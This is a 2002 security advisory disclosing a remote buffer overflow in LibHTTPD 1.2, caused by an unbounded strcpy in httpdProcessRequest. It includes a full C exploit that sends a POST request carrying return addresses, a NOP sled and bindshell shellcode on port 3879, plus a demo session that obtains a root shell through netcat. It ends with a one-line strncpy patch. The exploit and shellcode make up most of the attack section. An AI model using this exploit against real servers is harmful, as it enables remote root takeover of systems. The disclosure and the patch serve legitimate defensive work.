========================================
        INetCop Security Advisory #2002-0x82-003
        ========================================


* Title: Remote Buffer Overflow vulnerability in Lib HTTPd.


0x01. Description


LibHTTPD can be used to add basic web server capabilities to an application or 
embedded device. 
Detailed contents desire to reference lower part homepage. :-)

If examine 'api.c' of library libhttpd.a source code, can find vulnerability.
Can see httpdProcessRequest() in line:860

   __
   860  void httpdProcessRequest(server)
   861          httpd   *server;
   862  {
   863          char    dirName[HTTP_MAX_URL],
        ...
   869          server->response.responseLength = 0;
   870          strcpy(dirName, httpdRequestPath(server)); // here.
   --

Herewith, fatal vulnerability that can execute rootshell in remote happens.


0x02. Vulnerable Packages


Vendor site: http://www.hughes.com.au/products/libhttpd/

libhttpd-1.2 
-libhttpd-1.2.tar.gz
+Linux
+Other


0x03. Exploit


This's exploit code that prove.
Through remote attack, get 'root' competence.

Use netcat for very easy exploit.

To do simple explanation about exploit.
Through POST, insert much &shellcode address.
Put next nop,shellcode.
(Port:3879 bindshell code)


=== 0x82-Remote.libhttpdxpl.c ===

/*
**
** Lib HTTPd Remote Buffer Overflow exploit
**                             by Xpl017Elz 
** __
** Testing exploit:
**
** bash$ (./0x82-Remote.libhttpdxpl;cat)|nc libhttphost 80
**
** (Ctrl+c)
** punt!
** bash$ nc libhttphost 3879
** uname
** Linux
** id
** uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),
** 3(sys),4(adm),6(disk),10(wheel)
** exit
** bash$ 
**
** -- 
** exploit by "you dong-hun"(Xpl017Elz), <szoahc@hotmail.com>. 
** My World: http://x82.i21c.net
**
*/

#include <stdio.h>
int main(/* args? */)
{ 
    int shadd2r;
    char b1ndsh[] = /* 129byte bindshellcode */
        "\211\3451\322\262f\211\3201\311\211\313C\211]\370C\211]\364K\211M\374\
215M"
        "\364\315\2001\311\211E\364Cf\211]\354f\307E\356\017'\211M\360\215E\354
\211E"
        "\370\306E\374\020\211\320\215M\364\315\200\211\320CC\315\200\211\320C\
315"
        "\200\211\3031\311\262?\211\320\315\200\211\320A\315\200\353\030^\211u"
        "\b1\300\210F\007\211E\f\260\013\211\363\215M\b\215U\f\315\200\350\343\
377"
        "\377\377/bin/sh";
    //--- POST &shellcode ---//
    fprintf(stdout,"POST ");
    for(shadd2r=0;shadd2r<0x408;shadd2r+=4)
    {/* rEDhAT Default: 0x804e482,
        Debian Address? */
        fprintf(stdout,"\202\344\004\b");
    }
    fprintf(stdout,"\r\n");
    //--- NOP,shellcode ---//
    for(shadd2r=0;shadd2r<0x3e8;shadd2r++)
    {/* SSSSSSSS...SSSSSSSSS;;; */
        fprintf(stdout,"S");
    }
    fprintf(stdout,"%s\r\nx0x\r\nx82\r\nl0l\r\n",b1ndsh);
}

=== eof ===


0x04. Patch


=== api.patch ===

--- api.c       Sat Nov  9 20:06:30 2002
+++ api.patch.c Sat Nov  9 20:05:33 2002
@@ -867,7 +867,7 @@
        httpContent *entry;
 
        server->response.responseLength = 0;
-       strcpy(dirName, httpdRequestPath(server));
+       strncpy(dirName, httpdRequestPath(server), HTTP_MAX_URL);
        cp = rindex(dirName, '/');
        if (cp == NULL)
        {

=== eof ===


P.S: Sorry, for my poor english.


--
By "dong-houn yoU" (Xpl017Elz), in INetCop(c) Security.

MSN & E-mail: szoahc(at)hotmail(dot)com,
              xploit(at)hackermail(dot)com

INetCop Security Home: http://www.inetcop.org (Korean hacking game)
             My World: http://x82.i21c.net

GPG public key: http://wizard.underattack.co.kr/~x82/h0me/pr0file/x82.k3y
--